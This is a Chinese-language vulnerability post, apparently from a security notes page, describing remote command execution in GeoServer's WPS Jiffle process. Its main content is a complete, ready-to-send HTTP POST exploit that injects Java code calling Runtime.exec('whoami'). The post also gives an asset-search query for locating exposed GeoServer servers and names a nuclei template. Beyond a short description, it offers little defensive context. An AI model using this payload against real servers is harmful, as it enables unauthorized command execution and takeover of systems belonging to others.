登录 白背景

geoserver wms存在远程命令执行漏洞

一、漏洞简介

GeoServer 是基于 Java 的软件服务器,允许用户查看和编辑地理空间数据。使用开放地理空间联盟(OGC)提出的开放标准,GeoServer 在地图创建和数据共享方面具有极大的灵活性。前台存在任意命令执行漏洞,攻击者可以直接在web应用中执行系统命令,从而获取敏感信息或者拿下shell权限。

二、影响版本

  • GeoServer

三、资产测绘

  • hunterapp.name="GeoServer"
  • 特征

1702463683787-be29090f-b7b9-493b-98ba-19ac9a6fbcc9.png

四、漏洞复现

POST /geoserver/wms HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 1792
Content-Type: application/xml
Accept-Encoding: gzip
SL-CE-SUID: 3

<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
    <ows:Identifier>ras:Jiffle</ows:Identifier>
    <wps:DataInputs>
        <wps:Input>
            <ows:Identifier>coverage</ows:Identifier>
            <wps:Data>
                <wps:ComplexData mimeType="application/arcgrid">
                    <![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999 316]]>
                </wps:ComplexData>
            </wps:Data>
        </wps:Input>
        <wps:Input>
            <ows:Identifier>script</ows:Identifier>
            <wps:Data>
                <wps:LiteralData>dest = y() - (500); // */ public class Double { public static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
            </wps:Data>
        </wps:Input>
        <wps:Input>
            <ows:Identifier>outputType</ows:Identifier>
            <wps:Data>
                <wps:LiteralData>DOUBLE</wps:LiteralData>
            </wps:Data>
        </wps:Input>
    </wps:DataInputs>
    <wps:ResponseForm>
        <wps:RawDataOutput mimeType="image/tiff">
            <ows:Identifier>result</ows:Identifier>
        </wps:RawDataOutput>
    </wps:ResponseForm>
</wps:Execute>

1702463723623-025b8335-217e-418d-9cd0-c90810da115c.png

nuclei

geoserver-vms-rce.yaml

原文: https://www.yuque.com/xiaokp7/ocvun2/cwm83p7a0us1cray